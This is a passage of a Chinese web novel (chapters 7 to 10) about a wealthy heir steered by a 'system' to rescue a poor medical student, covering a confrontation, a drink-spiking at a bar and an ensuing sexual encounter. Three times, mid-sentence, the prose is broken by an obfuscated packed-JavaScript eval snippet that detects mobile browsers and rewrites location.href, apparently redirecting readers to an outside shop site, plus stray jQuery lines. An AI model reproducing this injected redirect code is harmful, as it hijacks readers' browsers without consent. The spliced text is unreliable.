《拯救那个悲惨主角》
7. 第七章
接连两天的冷遇让陆洵本就不多的耐心彻底耗尽。他陆洵什么时候这样费心费力的讨好过一个人?
这些天,陆洵每次送出去的礼物都会被裴亭松原封不动地退回来,精心安排的偶遇也只会换来一个虚假的要死的笑容,不仅如此,逼急了这人还会说一些阴阳怪气的带刺挖苦。
比如:
“陆大少爷的兴趣爱好已经扩大到来观看解剖小兔子了吗?”
再比如:
“陆少送的东西真的太好了,好到对于我这种普通小百姓来说,只能是远观的地步了。”
又比如;
“那种高级餐厅,我比较适合去里面端盘子。”
裴亭松的每句话都像小刀子,专往陆洵那点高高在上的优越感上戳。但偏偏,他那副宁折不弯的清高样子又勾地陆洵心痒难耐,于是一种混合着恼忽和强烈征服欲的情绪在陆洵心里越烧越高。
这一天,当那个装着最新款顶配的平板电脑盒子,又一次被快递员战战兢兢地送回陆洵的公寓里时,陆洵脸上那点惯常挂着的漫不经心的笑意终于彻底消失了。
拿起那个有点分量的盒子,陆洵放在手里上下掂了掂,嘴角勾起一抹冰冷的弧度,陆洵直接开车来到了江城大学的医学院楼下。
在一条僻静的走廊里,陆洵堵住了刚刚做完实验出来的裴亭松。
裴亭松穿着一件略微发黄的白大褂,脸上带着一丝疲惫,但在看到陆洵的瞬间,那丝疲惫立刻变成了警惕。
脊背下意识地挺直,裴亭松像一只进入了防御状态的刺猬。
看到对方这个样子,陆洵嗤笑了一声,“裴同学好大的架子啊。”
陆洵的声音听不出喜怒,他倚在冰冷的墙壁上,一双长腿伸出去挡住了裴亭松的大半去路。
将那个崭新的平板电脑盒子随手扔进一旁的垃圾桶里,陆洵听着那声哐当的闷响说道,“我送出去的东西,还没有人敢一而再再而三地退回来。”
陆洵的眼神很冷,裴亭松看着他的动作眼神更冷,嘴唇绷直抿成一条苍白的直线,裴亭松尽量维持着体面,“我也说过了,不是我不要,是我受不起。陆少爷,你没听过吗?无功不受禄。”
毕竟裴亭松很早就知道了,这个世界上没有免费的午餐,他如果收下了陆洵的这些东西,未来必定会用更惨痛的东西还回去。
更何况,他也受不了陆洵那副高高在上的施舍模样。
他裴亭松缺的东西会靠自己的双手挣回来,他不需要任何人的怜悯和施舍。
“无功不受禄?”
听到这句话,陆洵像是听到了什么有趣的故事一样。上前一步,陆洵逼近裴亭松,两个人之间的距离瞬间被他拉近到一个暧昧又危险的范围。
陆洵甚至能闻到裴亭松身上那股淡淡的消毒水味儿,与他自身冷冽的香水味交织在一起,两种味道居然诡异的融合。
弯腰倾身,陆洵那双泛着绿的瞳孔像是锁定猎物的猫科动物一般,带着强烈压迫感地眼神扫过了裴亭松那紧紧抿在一起的嘴唇还有他那微微滚动的喉结。
看到这一幕,陆洵声音压低,带着一丝刻意的玩味调笑响起,“怎么算有功?裴同学不要算的这么清嘛。我这是......费尽心思的博美人一笑。只要你收下礼物开心的笑出来,那这就是对我的功了。”
“毕竟,我这是在讨好未来的男朋友嘛。千金难买美人一笑,男朋友要是高兴,我什么都愿意给。”
陆洵的话语刻意拖长了调子,掺着明晃晃的暗示和调戏,温热的气息几乎要拂过裴亭松的耳廓。
但这句话也扎进了裴亭松那敏感的神经里。
他猛地抬起头,黑沉沉的瞳孔里像是瞬间燃起了两簇火苗,因为极致的愤怒和被羞辱的感觉,裴亭松的眼尾也开始迅速泛红。
他瞪着陆洵,之前所有的克制瞬间土崩瓦解,声音也因为激动而带着了一丝不易察觉的颤音,但他的语气又是激烈的、尖锐的,“我说了多少遍,我不要!我不要!我他妈就是受不起你陆大少爷的禄行不行?!”
裴亭松这些日子实在是被逼的紧了,再加上陆洵这句充满暗示的话,积压了许久的屈辱和怒火在这一刻终于爆发,他几乎是吼出来了这句话,“我这么拼死拼活地读书,我熬夜做实验,我跑去给那些蠢货的孩子当家庭教师,我承认!我承认我做的这一切都是为了钱!但我赚的每一分钱都是干干净净的!是靠我自己的脑子、靠我自己的双手赚回来的!我活得堂堂正正问心无愧!”
大口地喘着气,胸膛剧烈起伏,但裴亭松的目光却像刀子一样的刮过了陆洵那张漂亮的,写满傲慢和轻佻的脸上。
积压许久的、对于对方阶级的本能愤怒和那丝隐秘的看不起,终于脱口而出,“但你呢?!陆洵你呢?!”
“你的钱干净吗?!是靠你自己赚来的吗?!你除了会投胎,会用你爹妈的钱来戏弄人,你还会什么?!你凭什么站在这里,用这种肮脏的心思来羞辱我?!”
“我这么努力!你知道我考进这所大学像那些正常的学生一样,需要付出多少吗?!凭什么?!凭什么就因为你的一时兴起,就要把我这个活生生的人用来当你的玩具?!”
裴亭松这话一出,走廊里顿时安静的可怕,一时之间只剩下他那急促的喘息声。
听到这句话,陆洵脸上的玩味瞬间消失了。
冷着脸,他像是第一次认识裴亭松一样,仔细地看着面前这个气得浑身都在发抖,眼睛里却燃烧着火焰的青年。
“凭、什、么?”
陆洵重复了一遍这三个字,然后他忽然低低地笑了起来,这道笑声又轻又凉,裹挟着一股毛骨悚然的温柔。
猛地伸出手,陆洵一把攥住了裴亭松的手腕,将人狠狠地拉向自己,两个人的身体因为惯力几乎撞在一起。
陆洵的力气大得惊人,不顾裴亭松的挣扎,他那冰冷的指尖始终像铁钳一样,紧紧地攥着裴亭松那截纤细的手腕。
“宝贝。”陆洵低下头,鼻尖几乎要碰到裴亭松的额头,那双翻涌着危险情绪的绿眼睛死死的盯着对方,陆洵的语气却温柔的像是情人间的呢喃,“你刚才说什么呢?我没听清,你再说一遍。”
裴亭松被他禁锢着,手腕被攥得生疼。
陆洵身上那股带着强烈侵略性的气息完全包裹了他,让他呼吸困难。生理上的压制和心理上的羞辱交织在一起,让他浑身抑制不住地微微发着抖。
裴亭松敏锐的察觉到了危险。
咬紧下唇,倔强地扭开了头,裴亭松不再说话。
“呵。”
看到对方这个样子,陆洵满意的轻笑了一声,他用另一只手狎昵地摸了摸裴亭松
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686039|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的黑发,那漆黑的发丝偏硬,给人的感觉很像裴亭松这个人。
“觉得你的尊严很值钱是吗?”陆洵的声音很低,说话间喘息地热气就这么拂过裴亭松的耳廓,“醒醒吧,宝贝。你的尊严一点也不值钱。”
“没错,我的钱不是靠我自己赚的,”坦然的承认这个事情,陆洵几乎笑出了声,“但那又怎样?”
指尖微微用力的摩挲着裴亭松那截突出来的腕骨,陆洵一字一句,清晰又残忍的说道,“只要我乐意,我动动手指就能买断你拼尽全力也要维护的尊严。”
【警告!警告!任务目标的情绪起伏过于剧烈,请宿主谨言慎行!】
系统那冰冷的机械音透着一股焦急,于是陆洵从善如流的松开了手。
随后他就像是碰到了什么脏东西一样,慢条斯理地从口袋里掏出了一张方巾,陆洵慢悠悠的擦拭着自己的指尖。
然后,他再也没看裴亭松一眼,将那张方巾扔进垃圾桶,陆洵转身大步离开了这里。
走廊尽头的光线将陆洵的背影拉得很长,他走的优雅,说出最后那段反击的时候心里也带着快意。但直到坐到车里,看着飘在自己面前的系统,陆洵得承认,他心里说不出的烦闷。
那天之后,陆洵再也没去找过裴亭松,他觉得对方实在是不识好歹,骨子里还有一副假清高,
于是陆洵自那天之后天天窝在自己的大平层里打游戏,激烈的枪战和轰鸣声震耳欲聋,屏幕上炫目的光影在他的脸上不停的变化,交织出一副暧昧的画卷。
陆洵试图用这种激烈的刺激来压下心里那股莫名的烦躁。
游戏里的人物端着枪走的大摇大摆,就在他瞄准一个对手的时候,一道刺耳的的警报声猛地在陆洵的耳边炸开,手腕条件反射的一抖,陆洵操作的人物被一枪爆头。
【滴!滴!滴!紧急任务!任务目标即将遭遇重大危险,请宿主立刻前往骨瓯酒吧!】
【您已被击毙。】
两道声音交织在一起,陆洵烦躁地一把扔开手柄。
额角的青筋直跳,陆洵拧着眉的怒道,“又他妈的怎么了?”
【检测到任务目标正在被刁难,根据计算,世界线正在自我更正。如果宿主不去救他的话,任务目标就会落到原线剧情的人渣手里。】
“关我屁事。”陆洵闻言下意识的呛声,那股被顶撞、被看不起的怒火还没消,他对于裴亭松这个人有着直截了当的排斥,“他不是很能吗?他不是要尊严吗?为了避免因为我的出现而让他没尊严,让他自己去解决吧。”
【宿主!】
陆洵的拒绝太直接,且毫无商量,系统急得飞到了他的眼前,【世界线在更正,如果裴亭松真的没躲过这次的危险,那么剧情就会不受控制的走到原结局,你难道真的想和他一起跳楼吗?】
听到这句话,陆洵冷笑了一声,“这次我可没对他怎么样。”
【那你要看着他自己去跳楼吗?】
系统的声音冰冷又无情,带着无声的危险。
听到这句话,那被系统强制灌输的画面瞬间又浮现在了陆洵的眼前。
绵绵的细雨、呼啸的风声、以及那骨头碎裂的疼痛......
猛地从沙发上站起来,陆洵脸色极其难看的抓过了桌上的钥匙冲出了门。
“操。”
8. 第八章
系统催促的急,陆洵自己走的也急,他心里有一股说不清道不明的急切,于是陆洵几乎一路都在压着限速线的速度疾驰。
等他站到酒吧门口的时候,陆洵才反应过来,他甚至都没来得及换衣服。
暗色的丝绸睡衣外套了件随手抓过来的长款风衣,头发也有些凌乱。他这副形象实在是和酒吧的环境有些格格不入了,但可能是自身气质的原因,陆洵站着这里却又诡异的融合,他整个人都透露着一股慵懒又颓靡的贵气。
系统的警告声彷佛还在耳边,陆洵顾不得衣服的不雅,而是直接大步的走进了酒吧。目光一寸一寸的扫视过去,但陆洵却怎么也没找到那个眼熟的身影。
眉心微不可察的皱了一下,陆洵地心里涌上了一股烦躁。
正准备换一个地方找人的时候,旁边半开放的卡座里传来了一阵熟悉的,吵吵嚷嚷的笑闹声——是他平时的那群狐朋狗友。
陆洵原本没打算理,结果于彻的大嗓门清晰的让陆洵听到了一个熟悉的人名,“......赌不赌?我就赌咱们陆大少爷新鲜不过一个月!”
“一个月?我看有点悬吧?咱们陆哥什么时候这么上心过?我前两天还听说陆哥亲自开车接那人下课!”
“哎哟,还上心呢,你可得了吧。我看就是陆哥最近无聊,想找一个硬骨头啃一啃而已。我可是听说陆哥送的东西那人一个也没收呢,这么拿乔,我赌不到俩星期陆哥就会腻了他。”
“烈马就是驯服了才有味啊,不过我说真的,那人到底什么来头?能把陆洵迷得五迷三道的?”
“听说就是一个穷学生啊,你们放心,哪有穷人不爱钱的,再硬的骨头,陆洵大把的钱砸下去,我就不信那人不弯腰。”
话语像苍蝇一样嗡嗡地钻进陆洵的耳朵里。直到这时,陆洵才明白为什么裴亭松对着自己这么生气。
因为这些天的追逐,陆洵早就知道私下里已经有人开始传播着一些谣言。
陆洵没理,他心想让这些人知道裴亭松是自己的人,还能给裴亭松挡一些麻烦。
于是他理所当然的认为,裴亭松应该为得到他的青睐和庇护感恩戴德才是。
可对方不仅不领情,反而用那双冰冷的眼睛讥讽他。
他陆洵什么时候受过这种气?于是一股被冒犯的、高高在上的怒火瞬间席卷了他。
可直到这个时候,陆洵才后知后觉的反应过来,不会有人觉得自己是在认真的追求裴亭松的,他确实给裴亭松打上了烙印,一个‘被人看上的玩物’的烙印。
难怪裴亭松生气。
他那么清高的一个人......
但其实,陆洵是真的不知道这些话吗?他可能知道,但没有在意,直到有人赤裸的把这些事情摊开在他的眼前——直白地说出陆洵心里的想法。
他确实是这么想的,他们说的没错,裴亭松就是一个一时兴起的乐子,是个有点挑战的新玩具。
他陆洵的兴趣,从来都是有保质期的。
如果不是因为系统,陆洵早就已经把裴亭松吃到嘴里了,现在已经腻了也说不一定。
可是......
为什么听到这群人用这种轻佻的、评估玩物般的口吻议论裴亭松的时候,他心里会这么的不舒服呢?
那股刚刚压下去的烦躁重新翻涌上来,一个有些陌生的、带着明显醉意和下流意味的声音插了进来,“要我说啊......管他什么性子烈不烈,用点手段不就行了?看那腰那腿,还有那双眼睛,真他妈带劲儿!想象一下把他压在......”
陆洵听不下去了。
大步走过去,陆洵一脚把那满嘴污言秽语的人狠狠地踹翻在地,桌上的酒瓶也随着倒下去的男人劈里啪啦的碎了一地。
卡座瞬间死寂。
所有人都目瞪口呆地看着突然出现的陆洵。
他就这么站在一片狼藉里,风衣衣摆因为刚才的动作微微扬起,带起一阵还没消下去的冷意。灯光掠过他那张没什么表情的俊美侧脸,照亮了陆洵此刻的表情。他冷着脸,下颌线紧紧蹦起,那双总是带着几分慵懒笑意的琥珀绿的瞳孔里,此刻也结满了冰渣,泛着绿光的眼睛冷得骇人。
“操!他妈的谁?!谁踹我?!知不知道老子是谁?!不要命了是不是?!”
倒在地上的男人捂着肚子,满脸痛苦的蜷缩着,但他的嘴里却在不干不净地骂着。
陆洵看着这一幕缓缓地勾起了嘴角,可他的眼睛依旧是冷冰冰的,慢条斯理地走上前,陆洵居高临下地看着地上的人。
他声音不大,却带着一股强烈的压迫感,“那你知道我是谁吗?”
微微倾身,陆洵的目光像淬了毒的刀子,他就这么用鞋尖轻轻踢了踢地上那人的脸,像在打在场所有人的耳光,“敢对着我的人意/淫,你不要命了?”
‘我的人’这三个字被陆洵咬得极重,带着一种不容置疑的、宣告主权的意味。
整个卡座瞬间鸦雀无声,刚才还嬉笑打闹的众人此刻吓得连大气也不敢出。
于彻更是脸色发白,微微上前一步,他试图打一个圆场,“洵、洵哥......误会,误会,都是喝多了胡说八道来着呢......”
听到这句话,陆洵直起身,冰冷的目光缓缓环视一圈,扫过每一个噤若寒蝉的脸,陆洵的目光最后落在了于彻的脸上。
“刚才不还拿我打赌打得挺欢的吗?”陆洵说到这轻笑一声,语气也轻轻柔柔的,但他的笑意却未达眼底,整个人的气质都是冷的,“怎么不继续了?”
没人敢接话。
“赌注是什么?”
看到这一幕,陆洵轻飘飘地问出了这句话。随后他从风衣口袋里摸出了烟盒,敲出一根烟叼在嘴里,陆洵偏过头打着火之后吸了一口。
青灰色的烟雾往上飘,陆洵隔着这层朦胧的雾霭,眼神漠然地扫过了地上那个颤抖的男人,“加我一个啊。”
他声音慵懒,却带着一股浓重的压力,“我赌我自己......”
说到这,陆洵顿了顿,目光掠过众人,最终投向某个虚空,像是在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686040|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对所有人,又像是在对自己说,“......兴趣正浓,且,没打算腻。”
说完这句话,陆洵冷着脸的对着于彻警告道,“这是你的局,我给你一个面子,但别再让我听到这些不干不净的话。还有,所有对着裴亭松出言不逊的人,都他妈去给我道歉。从明天开始......”
指尖轻敲桌面,发出一阵脆响,陆洵的话里带着一股不允许被忤逆的命令意味,“学校里不允许出现关于裴亭松的任何谣言。我们是光明正大的追求关系。我,追求,他,听明白了吗?”
说完这句话,陆洵将只吸了一口的烟摁灭在桌面上,他没看任何人,转身离开了这里。
只要有人的地方就有阶层,富二代也不例外。
而陆洵就是顶尖之上的顶尖,他就是可以毫不留情的不给任何人面子。
心里的那团火发泄了些许,但一种更深的、难以言喻的情绪始终在陆洵的脑海里盘旋着,让他心烦意乱。
大步穿过喧嚣的舞池,陆洵只想快点找到裴亭松,然后离开这个让人窒息的鬼地方。
就在陆洵即将走到门口时,他的脚步猛地顿住了。
目光牢牢的锁定吧台侧方的一个身影——那是裴亭松。
他显然刚忙完,正端着一个空托盘准备送回后厨。
裴亭松的身上穿着酒吧统一的黑色制服,面料普通,剪裁却意外地服帖,尤其是收腰的设计,清晰地勾勒出一截柔韧而精瘦的腰线。
他微微低着头,侧脸在迷离闪烁的灯光下显得有些模糊,浓密的睫毛向下垂着,在眼睑投下一小片的阴影。
明明是最普通不过的工作姿态,但却因为裴亭松的脸上挂着的那一点不易察觉的烦躁,以及他那挺得笔直的脊背和那种沉静又疏离的气质,形成了一种强烈的、近乎禁欲的吸引力。
勾人的不像话。
陆洵就站在不远处的阴影里静静地看着裴亭松。
刚才所有的烦躁、怒火、以及那些理不清的混乱情绪,在这一刻,奇异般地全都沉淀了下来。
只剩下了一种强烈的、近乎本能的占有欲。
那是他的。
无论他自己是否想明白,无论别人如何议论,无论裴亭松怎么反抗,但他只能是他的。
系统选择了他,他知道裴亭松的既定命运,他要改变裴亭松的命运。
他们两个人的血早就在一个暴雨天里融在了一起。
喉结轻轻滑动,陆洵吞下了自己的欲/望。
裴亭松这时已经送完了东西,他没注意到陆洵,但不知怎么回事,他那原本平稳的步伐突然变得凌乱了起来。
陆洵就这么眼睁睁的看着裴亭松近乎是弯下了腰,随后他就这么一步三晃扶着柜台的走了起来。
他步伐很乱,彷佛在忍受着巨大的痛苦,好像下一秒就要跌倒似的。
【警告警告!任务目标即将遭遇危险!宿主别看了,赶快跟上去!】
冰冷的机械音带着浓重地焦急,听到这句话,陆洵反应过来,连忙大步跟了上去。
9. 第九章
裴亭松是在送完盘子回后厨的路上察觉到不对劲的。
起初只是喉咙发干,他以为是酒吧的空气太烦闷。但很快,一股陌生又汹涌的热意毫无预兆地从身体的深处炸开,然后迅速的窜向了四肢百骸。
双腿几乎是在瞬间发软,裴亭松几乎支撑不住身体的重量。
视野也开始模糊,耳边嗡嗡作响,只剩下裴亭松自己那越来越响、越来越急促的心跳和喘息声。
热......太热了......
大滴大滴的汗珠开始从额头上滑落,砸在冰冷的地板上。
电光火石间,裴亭松猛地想起半个小时前那个戴着金丝眼镜的男人。
对方堵在他必经的走廊上,然后说着一些‘欣赏’‘喜欢’的鬼话,裴亭松当然没信,冷声拒绝完对方之后,那人又递过来一被泛着光的鸡尾酒,他语气诚恳地说道,“那喝一杯,就当交一个朋友了。”
为了尽快脱身,裴亭松接了那杯酒,然后一饮而尽。
现在想来,那杯该死的酒里一定加了点别的东西!
艰难地抬起眼睛,裴亭松果然在舞池晃动的光影边缘处看到了那个男人。
他正倚在角落,满脸似笑非笑的注视着这里。看到裴亭松的视线时,那人的眼神里全是志在必得的令人作呕的笑意。
“操......”
低骂一声,裴亭松用尽最后一丝力气,跌跌撞撞地冲进了最近的员工卫生间,然后反手锁上了最里面隔间的那扇门。
身体沿着冰冷的隔板滑坐在地,裴亭松感觉自己像一条被抛上岸的鱼,只能大口的、徒劳地喘息着。
冰冷的瓷砖暂时缓解了皮肤上那滚烫的灼烧感,却丝毫没有平息体内那场越烧越旺的野火。
欲/望像藤曼一样绞紧了他的五脏六腑,吞噬着他的理智。
裴亭松蜷缩起来,指甲深深掐进掌心,牙齿也紧紧咬着下唇,他试图用疼痛来对抗那汹涌的、陌生的空虚感。
不行......不可以......不能这样......
理智即将消失的瞬间,门外传来了一阵有些急促的脚步声,鞋底踩在地板上的啪嗒作响,一下又一下的,像是踩在他的心跳上。
是那个变/态......他来了。
身体瞬间一个激灵,裴亭松内心的绝望像冷水一样的浇了下来,却又立刻被体内的烈焰蒸发掉。死死的咬紧下唇,裴亭松几乎尝到了一股血腥味。
他满脑子想着应该怎么办,是冲出去对打,还是死死的关着门,打的话他有胜算吗?可一直关着门,他会不会渴死在这里?
就在这时,裴亭松那混乱的脑子里,突然不合时宜的闪过另一个人的脸——陆洵。
裴亭松这时想,如果是陆洵......好像......好像也没那么难接受。
至少......至少陆洵的眼睛很好看,是罕见的琥珀色,仔细看,还带着一点雾蒙蒙的绿,像下过雨的森林一样。他身上的味道也很好闻,不是那种富二代惯常喷的甜腻古龙水,反而很干净,像是,像是什么.....
还没等裴亭松浑浑噩噩的脑子里想出一个所以然的时候,隔间外突然传来了一道熟悉的声音。
“裴亭松?”
听到这道声音的一瞬间,裴亭松猛地一颤,他混沌的思维甚至没办法分辨这是幻觉还是现实。
门外的声音还在继续,带着一丝迟疑和紧张,“......你没事吧?”
真的是陆洵的声音!
紧绷的大脑终于松缓了下来,几乎是本能的反应,裴亭松挣扎着打开了门锁。
看到锁扣滑动的瞬间,陆洵就从外面拉开了那扇门,看清隔间里的情形时,陆洵的瞳孔骤然一缩。
裴亭松此刻瘫坐在冰冷的地面上,他浑身都被汗水浸透了,黑色的制服衬衫紧紧的贴合着身体,勾勒出一截柔韧的腰线和微微颤抖着的脊背。
裴亭松的脸颊也是不正常的潮红,眼神涣散,湿漉漉的黑发贴在额角,嘴唇被咬得嫣红充血。
他此刻正蜷缩着艰难地喘息,陆洵好像都能感受到对方那呼出来的灼热气息。
漂亮、脆弱、又勾人心魄得像一朵在夜雨里彻底绽放的、汁液饱满的花朵。
陆洵看到这一幕只愣了一秒,随后瞬间就反应了过来。
“操!”
低骂一声,陆洵的脸色瞬间阴沉的可怕。
他蹲下身,试图扶起裴亭松,“还能走吗?”
裴亭松此时已经没有力气说话了,只是无力地摇着头,身体软的像是没有骨头。
陆洵没再犹豫,一把将他打横抱了起来。
裴亭松因为这突然的动作下意识的瑟缩了一下,随即又因为接触到对方身上那微凉的布料和那股熟悉的香味而发出一声近乎呜咽的喟叹。
他此刻终于想到怎么描述陆洵身上的那股香味了,就像是......就像是温暖又坚实的怀抱。
抱着人快步的往外走,路过慌乱的经理时,陆洵冷冰冰的丢下一句,“他身体不舒服,我替他请个假。还有,查一下半个小时前是谁给他递的酒。”
陆洵的声音不大,却带着一股不容置疑的威压。经理不敢得罪他,只能连声的应下,一个字也不敢多问。
一路将人抱进电梯,直达他包下的顶层套房。陆洵一路都抿着唇,他心里的那股无名火越烧越旺。
“你是不是傻啊?”推开门,陆洵终于忍不住低声骂着怀里的人,“在这种地方干了这么久,怎么别人给的东西你还敢乱喝?”
听到这句话,裴亭松自觉没理,只能把滚烫的脸颊埋进陆洵的颈窝,呼出的热气几乎要烫伤陆洵的皮肤。
他又气又委屈,话堆在心口一句也说不出来,只能发出一些细碎难耐的喘息,像羽毛一样,轻轻的刮着陆洵的耳膜和神经。
系统在脑海里安静如鸡,但陆洵自己心里的烦躁却达到了顶点。
粗暴地踢开浴室的门,将裴亭松小心地放进宽大的浴缸里,陆洵拧开了冷水。
“你听我说,”轻轻别开视线,陆洵不敢去看裴亭松那副被水浸湿后更诱人的身体,“这药也没别的办法,只能靠你自己熬过去。用冷水冲一会儿,会好受点,我就在外面等你,有事就喊我。”
这句话说完,陆洵几乎是落荒而逃般的带上了浴室的门。
他靠在墙上,听着里面哗哗的水声,陆洵有些心烦意乱地扯了扯自己的领口。
然而,几分钟过去了,浴室里除了水声却什么都没有。
安静的有些过分了。
一种不详的预感突然涌上心头,陆洵怕裴亭松出什么事,于是猛地推开了门。
浴室里,裴亭松依然好好地蜷缩在浴缸里,冷水已经漫过了他的身体,他却像是毫无察觉一样。裴亭松将自己的手腕塞在嘴里死死的咬着,鲜红的血丝从嘴角和苍白的指节里渗出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686041|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,染红了一小片冷水。
这个画面触目惊心,又带着一种近乎自毁的残酷美感。
陆洵的心里像是被什么东西狠狠地揪了一下。
看着这样的裴亭松,不知道怎么回事,陆洵突然就想到888给他讲述的原剧情。
他心想或许就是因为裴亭松太好看了,脾气又这么硬,才会反复的招惹到一些变/态,变/态就是想看到有傲骨的美人跪下去求饶。
快步走过去,陆洵蹲下身,小心翼翼地、强硬的掰开了裴亭松的嘴,救出了那只伤痕累累的手。
“裴亭松......”
看着对方迷蒙又痛苦的眼神,陆洵的喉结轻轻滚动了一下,语气是自己都未曾察觉到的低哑和温柔,“别这样......我帮你好吗?”
裴亭松涣散的目光聚焦了一瞬,他似乎认出了陆洵,又似乎没有。
陆洵深吸了一口气,像是在对裴亭松说,又像是在对着某个没出现的系统郑重承诺,“你别害怕,我什么都不做,我就是只是......帮你。”
然而,单纯的帮助如同杯水车薪。
压抑太久的欲/望一旦找到了一个小小的宣泄口,就会以更凶猛的速度反扑回来,野火瞬间燎原。
猛地抓住陆洵早就已经湿透的衬衫前襟,裴亭松的手指因为用力泛着深深的白。
他仰起头,湿润的眼睛里充满了未被满足的痛苦和更深的渴望,声音也碎的不成样子,“不行......还是难受......”
陆洵看到这一幕也无奈了,额角渗出细密的汗珠,他哑着嗓子问,“那怎么办?我现在出去给你找医生?”
可远水解不了近渴。
裴亭松看着近在咫尺的陆洵,看着他同样被水汽濡湿的头发,看着他泛红的眼眶和那双此刻同样被欲/望染上雾霭的绿色瞳孔。
像是被某种本能驱使,裴亭松忽然仰起头,他像是带着某种孤注一掷的决绝,就这么直直的吻上了陆洵的唇。
那是一个毫无章法、甚至称得上粗鲁的吻,却像是一颗火星。
陆洵的脑子里立刻‘嗡’的一声,所有的理智和坚持在这一刻彻底断掉。
什么系统,什么拯救,陆洵统统都忘了,他就这么低下头深深地回吻了下去,然后反客为主,不停地掠夺着裴亭松的呼吸。
意识在模糊,感官却变得无比的敏锐。
裴亭松感觉自己像是漂浮在海上,又像是置身于一场永无止境的夏季暴雨里,身体是潮湿的,闷热的。
窗外不知何时下起了大雨,雨声淅沥,敲打着窗户,也敲打着他滚烫的皮肤。
温柔而有力地力道将他抱离了冰冷的浴缸,裴亭松落到了一个更炙热坚实的怀抱里,然后他就被这么轻轻的放在了一张柔软的像云朵一样的床榻上。
恍惚间,裴亭松抬起了手,他满眼迷蒙地看着灯光下自己湿漉漉的手指,水珠沿着指尖滑落,闪着晶莹剔透的光。
裴亭松看着这一幕,有些无意识地呢喃,声音沙哑又带着欲,“怎么......这么多水啊......”
压在他上方的陆洵闻言低低地笑了一声,胸腔震动,带着无边的宠溺和情动。
附身吻掉裴亭松指尖的水珠,陆洵又亲了亲他的眼睛,声音含混又带着甜腻,“因为......你是一颗熟透了的水蜜桃。”
窗外,夜雨正浓。恍惚间,裴亭松觉得自己的身体也在下着雨。
10. 第十章
翌日清晨,总统套房里弥漫着一种难以言喻的气氛。
空气里彷佛还残留着昨夜潮湿未退的粘腻与皮肤的温热,彷佛有一层薄薄的、湿漉漉的晨雾隔在两个人之间,昨夜那些炽热交缠的记忆被这层雾霭笼罩着,变得模糊不真切起来。
而一旦触碰这层雾气,就会带来一阵微妙的凉意和尴尬。
像是一颗酸酸涩涩的梅子一样,一开始不好触碰,酸得让人颦眉,但回味之后又会泛起一丝奇异的甜。
陆洵醒得早,又或者说他几乎没怎么睡。
看着身旁还在熟睡的裴亭松,陆洵的心情复杂的难以言喻。
系统从昨夜那个吻开始就消失不见,一直到现在也没出现,没有因为他‘趁人之危’而给予电击,这让陆洵心里稍稍安心一些。但很快,他心里又升出另外一种别扭。
裴亭松睡得很沉,眼睫下有一圈淡淡的青黑。
昨晚他确实被折腾的够呛,此刻他蜷缩着,额发柔软的搭在眉骨,褪去了白日里所有的尖刺和冷硬,倒显得异常的乖巧,甚至有一些......脆弱?
看着这样的裴亭松,陆洵的心尖像是被什么东西给轻轻挠了一下。
一股陌生的、近乎柔软的情绪悄悄在心尖弥漫,陆洵下意识的放轻了动作,甚至在他自己都没意识到的时候,伸出手给裴亭松掖了掖被子。
看着对方无意识蹭了蹭枕头的动作,陆洵心里的那点少爷脾气奇异的消散了,他现在突然升起了一种‘这人已经是自己的所有物’的带着强烈占有欲的满足感。
像是得到了一件期待已久、且滋味美妙的远远超出预期的玩具。
虽然获得玩具的过程有点超出计划,但并不影响他此刻餍足,并且想要好好爱护玩具的心情。
此时此刻的陆洵觉得裴亭松像是一只终于在他掌心袒露柔软肚皮的小野猫,就算小猫偶尔还会张牙舞爪,但也格外可爱。
他合该纵容着自己的小猫。
于是裴亭松醒来的时候,面对的就是这样一个让他无所适从的陆洵。
没有裴亭松预想中的嘲讽,或是更近一步的要求,陆洵只是很平常的问他饿不饿,然后叫了客房服务。
餐点送来的很快,极其丰盛,且明显的照顾到了他的口味,有几样甚至是裴亭松家乡的清粥小菜。
看着桌子上那几道熟悉的家常菜,裴亭松微微一怔。
也不知道陆洵是怎么知道的。
但裴亭松转念又一想,陆洵这种人,估计早就把他的家底扒了个底掉,他不知道才比较奇怪。
席间,陆洵没提昨晚一个字,举止依旧优雅得体,但那种居高临下的施舍感淡了很多,取而代之的是一种......更自然的、彷佛他们本该如此的照顾。
这种自然而然的体贴,比刻意的羞辱或讨好更让裴亭松心慌意乱。
他摸不准陆洵是什么意思,只能低着头默默的喝粥。
偏偏低头的瞬间,裴亭松看到了陆洵脖子上那一抹可疑的红痕,在陆洵那白得像是没见过太阳的皮肤上格外显眼。
裴亭松想装看不到都不行。
裴亭松:“......”
一想到这红痕是怎么弄上去的,裴亭松的耳根就不受控制的发着烫,于是他的头就埋的更低,像是要装到碗里去。
